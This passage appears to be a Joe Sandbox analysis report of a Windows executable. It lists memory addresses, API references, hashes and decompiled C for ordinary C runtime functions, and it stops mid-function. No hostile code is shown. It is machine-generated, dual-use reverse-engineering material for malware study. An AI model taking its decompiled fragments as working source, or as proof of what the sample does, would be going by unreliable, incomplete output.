0x009b98ed
0x009b98ee
0x009b98ef
0x009b98f2
0x009b98f4
0x009b98fa
0x009b9900
0x009b9903
0x009b9905
0x009b9908
0x009b9911
0x009b9917
0x009b991a
0x009b9921
0x009b9928
0x009b992b
0x009b9a65
0x009b9a69
0x009b9a6c
0x009b9a8f
0x009b9a95
0x009b9a97
0x009b9a9b
0x009b9acc
0x009b9acf
0x009b9ad1
0x00000000
0x009b9a9d
0x009b9a9d
0x009b9aa0
0x009b9aa3
0x009b9aa6
0x009b9bf0
0x009b9bfe
0x009b9c07
0x009b9aac
0x009b9ab6
0x009b9abb
0x009b9abe
0x009b9ac1
0x009b9ac7
0x00000000
0x009b9ac7
0x009b9ac1
0x009b9aa6
0x009b9a6e
0x009b9a75
0x009b9a78
0x009b9a7b
0x009b9a7d
0x009b9a80
0x009b9a87
0x009b9a89
0x009b9ad2
0x009b9ad5
0x009b9ad6
0x009b9adb
0x009b9ade
0x009b9ae1
0x009b9ae7
0x00000000
0x009b9ae7
0x009b9ae1
0x009b9931
0x009b9934
0x009b9936
0x009b9938
0x009b993c
0x009b993d
0x009b9941
0x00000000
0x00000000
0x00000000
0x009b9941
0x009b9946
0x009b9948
0x009b994d
0x009b9a0d
0x009b9a14
0x009b9a15
0x009b9a18
0x009b9a1a
0x009b9bca
0x009b9bcc
0x00000000
0x009b9bce
0x009b9bce
0x009b9bd1
0x009b9be0
0x009b9be4
0x009b9be5
0x009b9be5
0x00000000
0x009b9be9
0x00000000
0x009b9a20
0x009b9a25
0x009b9a28
0x009b9a2b
0x009b9a31
0x009b9a3a
0x009b9a45
0x009b9a4a
0x009b9a4d
0x009b9a50
0x009b9a59
0x009b9a59
0x009b9a5c
0x00000000
0x009b9a5c
0x009b9a50
0x009b9953
0x009b9956
0x009b995c
0x009b995e
0x009b996b
0x009b996c
0x009b996f
0x009b9972
0x009b9977
0x009b9b9b
0x009b9b9d
0x009b9b9f
0x009b9ba2
0x009b9ba5
0x009b9bb1
0x009b9bb4
0x009b9bb6
0x009b9bb7
0x009b9bbb
0x009b9bbe
0x009b9bbe
0x009b9bc2
0x009b9bc2
0x009b9bc2
0x009b9bc5
0x009b9bc5
0x009b997d
0x009b997d
0x009b9980
0x009b9982
0x009b9985
0x009b9987
0x009b998b
0x009b998c
0x009b998d
0x009b9991
0x009b9996
0x009b99a0
0x009b99a5
0x009b99a8
0x009b99a8
0x009b99ab
0x009b99ae
0x009b99b0
0x009b99b3
0x009b99bc
0x009b99c0
0x009b99c1
0x009b99c8
0x009b99ce
0x009b99d6
0x009b99e1
0x009b99e6
0x009b99f1
0x009b99f6
0x009b99fc
0x009b9a05
0x009b9a5f
0x009b9a5f
0x009b9aea
0x009b9aef
0x009b9b01
0x009b9b06
0x009b9b09
0x009b9b0e
0x009b9b29
0x009b9c0c
0x009b9c12
0x009b9b2f
0x009b9b2f
0x009b9b3a
0x009b9b3c
0x009b9b3f
0x009b9b48
0x009b9b52
0x00000000
0x009b9b54
0x009b9b56
0x009b9b58
0x009b9b71
0x00000000
0x009b9b77
0x009b9b7b
0x009b9b81
0x009b9b84
0x009b9b8a
0x009b9b8d
0x00000000
0x009b9b8d
0x009b9b7b
0x009b9b71
0x009b9b52
0x009b9b48
0x009b9b29
0x009b9b0e
0x009b99fc
0x009b9977
0x009b994d
0x00000000
0x009b9b90
0x009b9b90
0x009b9b99
0x009b9c14
0x009b9c19
0x009b9c21
0x009b9c22
0x009b9c23
0x009b9c2f
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(9FEF24BF,?,00000000,?), ref: 009B98C6

Part of subcall function 009BB787: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,009C0D59,?,00000000,-00000008), ref: 009BB833

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009B9B21
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 009B9B69
GetLastError.KERNEL32 ref: 009B9C0C

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 9a6662e955f10974d9535043df041b6f7c41e893143ce842413b8a02152733ae
Instruction ID: 8bb68ce9d55a9e8150ef9906942043c211ef5797357c7044a52a61ec893d992d
Opcode Fuzzy Hash: 9a6662e955f10974d9535043df041b6f7c41e893143ce842413b8a02152733ae
Instruction Fuzzy Hash: 38D189B1D142589FCF05CFA8D980AEDBBB8FF49324F18452AE956E7351D730A942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 009ADE50 Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E009ADE50(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x9d0b60);
				E009ACE20(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E009AF040(_t107, E009AD532(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E009AF040(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x9d2ea8; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x9c71bc();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E009B6A4A(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x9d0b80);
									E009ACE20(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E009ADE50(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E009AEB50(_t103, _t108[0x18], E009AD532( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E009AEB60(_t103, _t108[0x18], E009AD532( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E009AD532();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x009ade50
0x009ade52
0x009ade57
0x009ade5c
0x009ade5e
0x009ade61
0x009ade66
0x009adf76
0x009adf76
0x009adf76
0x00000000
0x009ade75
0x009ade75
0x009ade7a
0x009ade84
0x009ade86
0x009ade8b
0x009ade90
0x009ade90
0x009ade92
0x009ade95
0x009ade9a
0x009adebc
0x009adebc
0x009adebf
0x009adec2
0x009adee0
0x009adee3
0x009adf22
0x009adf25
0x009adf28
0x009adf4d
0x009adf4f
0x00000000
0x009adf51
0x009adf51
0x009adf53
0x00000000
0x009adf55
0x009adf55
0x009adf5a
0x009adf5e
0x009adf5e
0x009adf5f
0x00000000
0x009adf5f
0x009adf53
0x009adf2a
0x009adf2a
0x009adf2c
0x00000000
0x009adf2e
0x009adf2e
0x009adf30
0x00000000
0x009adf32
0x009adf43
0x00000000
0x009adf48
0x009adf30
0x009adf2c
0x009adee5
0x009adee5
0x009adee9
0x00000000
0x009adeef
0x009adeef
0x009adef1
0x00000000
0x009adef7
0x009adefe
0x009adf06
0x009adf0a
0x009adf0c
0x009adf0f
0x009adf14
0x009adf15
0x00000000
0x009adf15
0x009adf0f
0x00000000
0x009adf0a
0x009adef1
0x009adee9
0x009adec4
0x009adec4
0x00000000
0x009adec4
0x009adea1
0x009adea1
0x009adea6
0x009adeab
0x00000000
0x009adead
0x009adeaf
0x009adeb8
0x009adec7
0x009adec9
0x009adf88
0x009adf88
0x009adf8d
0x009adf8e
0x009adf90
0x009adf95
0x009adf9a
0x009adf9d
0x009adfa0
0x009adfa3
0x009adfac
0x009adfac
0x009adfa5
0x009adfa5
0x009adfa5
0x009adfaf
0x009adfb3
0x009adfb6
0x009adfb7
0x009adfb8
0x009adfb9
0x009adfbc
0x009adfc5
0x009adfc5
0x009adfc8
0x009adffe
0x009adfca
0x009adfca
0x009adfca
0x009adfcd
0x009adfe4
0x009adfe4
0x009adfcd
0x009ae003
0x009ae00d
0x009ae019
0x009aded7
0x009aded7
0x009adedc
0x009adedd
0x009adf17
0x009adf1e
0x009adf62
0x009adf62
0x009adf69
0x009adf78
0x009adf7b
0x009adf87
0x009adf87
0x009adec9
0x009adeab
0x00000000
0x00000000
0x00000000
0x009ade7a

APIs

___AdjustPointer.LIBCMT ref: 009ADF17
___AdjustPointer.LIBCMT ref: 009ADF3A
___AdjustPointer.LIBCMT ref: 009ADFD6

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 184f265d8591594948327eececbed792ab2885ca82f03216032ea68c7273d48e
Instruction ID: 9c26e59b52e3365e181cad0b6942683d620179435914792d8cf830b7265c31df
Opcode Fuzzy Hash: 184f265d8591594948327eececbed792ab2885ca82f03216032ea68c7273d48e
Instruction Fuzzy Hash: B351F472A16202AFDB258F54D941BBBB7A8FF52311F24452DE8034BA91E735ED40CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 009BA6EE Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E009BA6EE(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E009BB787(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E009BAC90(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E009B3842(GetLastError());
									_t20 =  *((intOrPtr*)(E009B389C()));
								}
								L14:
								return _t20;
							}
							_t20 = E009BACB4(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E009B3842(GetLastError());
						return  *((intOrPtr*)(E009B389C()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E009BACB4(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E009B36B1(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x009ba6f5
0x009ba6fa
0x009ba718
0x009ba71a
0x009ba71d
0x009ba746
0x009ba74e
0x009ba750
0x009ba769
0x009ba76c
0x009ba76f
0x009ba77d
0x009ba78a
0x009ba78f
0x009ba791
0x009ba7aa
0x009ba7ad
0x009ba7ad
0x009ba793
0x009ba79a
0x009ba7a5
0x009ba7a5
0x009ba7af
0x00000000
0x009ba7af
0x009ba774
0x009ba779
0x009ba77b
0x00000000
0x00000000
0x00000000
0x009ba77b
0x009ba759
0x00000000
0x009ba764
0x009ba71f
0x009ba722
0x009ba725
0x009ba734
0x009ba737
0x009ba70e
0x009ba70e
0x00000000
0x009ba711
0x009ba72b
0x009ba730
0x009ba732
0x009ba7b3
0x009ba7b3
0x00000000
0x009ba732
0x009ba6fc
0x009ba701
0x009ba706
0x009ba708
0x009ba70b
0x00000000

APIs

Part of subcall function 009BB787: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,009C0D59,?,00000000,-00000008), ref: 009BB833

GetLastError.KERNEL32 ref: 009BA752
__dosmaperr.LIBCMT ref: 009BA759
GetLastError.KERNEL32(?,?,?,?), ref: 009BA793
__dosmaperr.LIBCMT ref: 009BA79A

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: f3f0fdb85aed44b88bd764868f963a05b97e48c147de3b580235ca6a922ecc5b
Instruction ID: f1919a6a4ca08b8015d6cc8de296af8450cbed64e8b32404a386ead2fe6f56b7
Opcode Fuzzy Hash: f3f0fdb85aed44b88bd764868f963a05b97e48c147de3b580235ca6a922ecc5b
Instruction Fuzzy Hash: 32218371A08205BFDB10AF65CAC1AABB7BDFF803747108519F91597241DB35ED019B92

Uniqueness

Uniqueness Score: -1.00%

Function 009BB875 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E009BB875() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E009BB83E(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E009BB787(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t26 = E009B7F6A(_t9);
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E009BB787() != 0) {
								E009B7A11(0);
								_t19 = _t26;
							} else {
								E009B7A11(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E009B7A11();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x009bb87b
0x009bb87d
0x009bb883
0x009bb887
0x009bb88f
0x009bb894
0x009bb8a2
0x009bb8a5
0x009bb8ad
0x009bb8b2
0x009bb8c6
0x009bb8c9
0x009bb8cc
0x009bb8df
0x009bb8e0
0x009bb8e3
0x009bb8e4
0x009bb8e7
0x009bb8e8
0x009bb8e9
0x009bb8f4
0x009bb8ff
0x009bb904
0x009bb8f6
0x009bb8f7
0x009bb8f7
0x009bb908
0x009bb90e
0x009bb8ce
0x009bb8ce
0x009bb8d5
0x009bb8db
0x009bb8db
0x009bb8b4
0x009bb8b5
0x009bb8bb
0x009bb8bb
0x009bb911
0x009bb914

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009BB87D

Part of subcall function 009BB787: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,009C0D59,?,00000000,-00000008), ref: 009BB833

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009BB8B5
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009BB8D5

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f66111817eb816f9ff9ff25267133aab2eb52442e9004e6596a73a9f71ab1206
Instruction ID: 99f181247050f4194a383797b18a1f28bc9c323791aa9c95dffb34582351ce4f
Opcode Fuzzy Hash: f66111817eb816f9ff9ff25267133aab2eb52442e9004e6596a73a9f71ab1206
Instruction Fuzzy Hash: BD11C4B191D6197F67112BB29ECADEFA95CDEC63B8B140524F90292141FBA4CE019670

Uniqueness

Uniqueness Score: -1.00%

Function 009C1776 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E009C1776(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x9d28a0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E009C175F();
					E009C1721();
					_t13 = WriteConsoleW( *0x9d28a0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x009c1793
0x009c1797
0x009c17a4
0x009c17a9
0x009c17c4
0x009c17c4
0x009c17ca

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,009BFC47,?,00000001,?,?,?,009B9C60,?,?,00000000), ref: 009C178D
GetLastError.KERNEL32(?,009BFC47,?,00000001,?,?,?,009B9C60,?,?,00000000,?,?,?,009BA21E,?), ref: 009C1799

Part of subcall function 009C175F: CloseHandle.KERNEL32(FFFFFFFE,009C17A9,?,009BFC47,?,00000001,?,?,?,009B9C60,?,?,00000000,?,?), ref: 009C176F

___initconout.LIBCMT ref: 009C17A9

Part of subcall function 009C1721: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009C1750,009BFC34,?,?,009B9C60,?,?,00000000,?), ref: 009C1734

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,009BFC47,?,00000001,?,?,?,009B9C60,?,?,00000000,?), ref: 009C17BE

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 99891ccc6cb7da718888c38d0e267800a1f56aa6a35bca34a569cd7777c531fb
Instruction ID: 2b82d6d731f12d77e0b1666a842445fafcb596505a992eb0aa69513601c4ff41
Opcode Fuzzy Hash: 99891ccc6cb7da718888c38d0e267800a1f56aa6a35bca34a569cd7777c531fb
Instruction Fuzzy Hash: 93F03036815254BBCF226FD5DC04F897FA6FB4A7A0B004454FE1895231CA328920FB95

Uniqueness

Uniqueness Score: -1.00%

Function 009B31E0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E009B31E0(intOrPtr _a4, signed int _a8, signed int _a12, signed int _a16, signed char _a20) {
				signed int _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				intOrPtr* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t88;
				intOrPtr _t90;
				signed int _t93;
				signed int _t94;
				signed int _t108;
				signed int _t109;
				signed char _t111;
				signed int _t112;
				intOrPtr _t114;
				signed int _t115;
				signed int _t119;
				signed int _t122;
				intOrPtr* _t126;
				signed int _t133;
				signed int _t134;
				intOrPtr* _t140;
				signed int _t143;
				intOrPtr _t145;
				signed char _t148;
				signed int _t149;
				signed int _t150;
				intOrPtr* _t152;
				signed int _t153;
				signed int* _t157;
				signed int _t160;
				intOrPtr* _t161;
				intOrPtr* _t163;
				signed int _t165;
				void* _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				void* _t176;
				void* _t177;

				if(E009B2CC8( &_a8) == 0) {
					L5:
					_t152 = _a12;
					if(_t152 != 0) {
						 *_t152 = _a8;
					}
					L60:
					return 0;
				}
				_t173 = _a16;
				if(_t173 == 0 || _t173 >= 2 && _t173 <= 0x24) {
					_t88 = _a8;
					_t172 = 0;
					_v20 = _v20 & 0x00000000;
					_v44 = _t88;
					_t148 =  *_t88;
					_a8 = _t88 + 1;
					_t90 = _a4;
					_v12 = _t148;
					__eflags =  *((char*)(_t90 + 0x14));
					if(__eflags == 0) {
						E009B34B0(_t90, _t165, __eflags);
						_t90 = _a4;
					}
					_t91 = _t90 + 0xc;
					_v16 = _t90 + 0xc;
					_t93 = E009B2CE3(_t148, _t165, _t172, _t173, _t148 & 0x000000ff, 8, _t91);
					_t177 = _t176 + 0xc;
					__eflags = _t93;
					if(_t93 == 0) {
						L13:
						_t94 = _a20 & 0x000000ff;
						_v8 = _t94;
						__eflags = _t148 - 0x2d;
						if(_t148 != 0x2d) {
							__eflags = _t148 - 0x2b;
							if(_t148 != 0x2b) {
								_t153 = _a8;
								L18:
								__eflags = _t173;
								if(_t173 == 0) {
									L20:
									__eflags = _t148 - 0x30 - 9;
									if(_t148 - 0x30 > 9) {
										__eflags = _t148 - 0x61 - 0x19;
										if(_t148 - 0x61 > 0x19) {
											__eflags = _t148 - 0x41 - 0x19;
											if(_t148 - 0x41 > 0x19) {
												L35:
												__eflags = _t173;
												if(_t173 == 0) {
													_t173 = 0xa;
												}
												L37:
												_t101 = _t173;
												asm("cdq");
												_t154 = _t165;
												_v28 = _t173;
												_v24 = _t165;
												_v36 = E009C3300(0xffffffff, 0xffffffff, _t101, _t154);
												_v32 = _t165;
												while(1) {
													__eflags = _t148 - 0x30 - 9;
													if(_t148 - 0x30 > 9) {
														__eflags = _t148 - 0x61 - 0x19;
														if(_t148 - 0x61 > 0x19) {
															_t108 = _t148 - 0x41;
															__eflags = _t108 - 0x19;
															if(_t108 > 0x19) {
																_t109 = _t108 | 0xffffffff;
																__eflags = _t109;
															} else {
																_t109 = _t148 + 0xffffffc9;
															}
														} else {
															_t109 = _t148 + 0xffffffa9;
														}
													} else {
														_t109 = _t148 + 0xffffffd0;
													}
													_v16 = _t109;
													__eflags = _t109 - _t173;
													if(_t109 >= _t173) {
														break;
													}
													_t150 = _v20;
													_v20 = E009C3280(_v28, _v24, _t150, _t172);
													_t160 = _v16 + _v20;
													_v40 = _t165;
													asm("adc eax, edx");
													_v16 = 0;
													__eflags = _t172 - _v32;
													if(__eflags < 0) {
														L50:
														_t165 = 0;
														__eflags = 0;
														L51:
														__eflags = 0 - _v40;
														if(__eflags > 0) {
															L55:
															_t122 = 0;
															__eflags = 0;
															L56:
															_t172 = _v16;
															_v20 = _t160;
															_v8 = _v8 | (_t122 | _t165) << 0x00000002 | 0x00000008;
															_t126 = _a8;
															_t148 =  *_t126;
															_v12 = _t148;
															_a8 = _t126 + 1;
															continue;
														}
														if(__eflags < 0) {
															L54:
															_t122 = 1;
															goto L56;
														}
														__eflags = _t160 - _v20;
														if(_t160 >= _v20) {
															goto L55;
														}
														goto L54;
													}
													if(__eflags > 0) {
														L49:
														_t165 = 1;
														goto L51;
													}
													__eflags = _t150 - _v36;
													if(_t150 <= _v36) {
														goto L50;
													}
													goto L49;
												}
												E009B2C9F( &_a8, _v12);
												_t111 = _v8;
												__eflags = _t111 & 0x00000008;
												if((_t111 & 0x00000008) != 0) {
													_t149 = _v20;
													_t112 = E009B2F58(_t111, _t149, _t172);
													__eflags = _t112;
													if(_t112 == 0) {
														__eflags = _v8 & 0x00000002;
														if((_v8 & 0x00000002) != 0) {
															_t149 =  ~_t149;
															asm("adc edi, 0x0");
															_t172 =  ~_t172;
														}
														L73:
														_t174 = _a12;
														__eflags = _t174;
														if(_t174 != 0) {
															 *_t174 = _a8;
														}
														return _t149;
													}
													_t114 = _a4;
													 *((char*)(_t114 + 0x1c)) = 1;
													 *((intOrPtr*)(_t114 + 0x18)) = 0x22;
													_t115 = _v8;
													__eflags = _t115 & 0x00000001;
													if((_t115 & 0x00000001) != 0) {
														_t157 = _a12;
														__eflags = _t115 & 0x00000002;
														if((_t115 & 0x00000002) == 0) {
															__eflags = _t157;
															if(_t157 != 0) {
																_t115 = _a8;
																 *_t157 = _t115;
															}
															return _t115 | 0xffffffff;
														}
														__eflags = _t157;
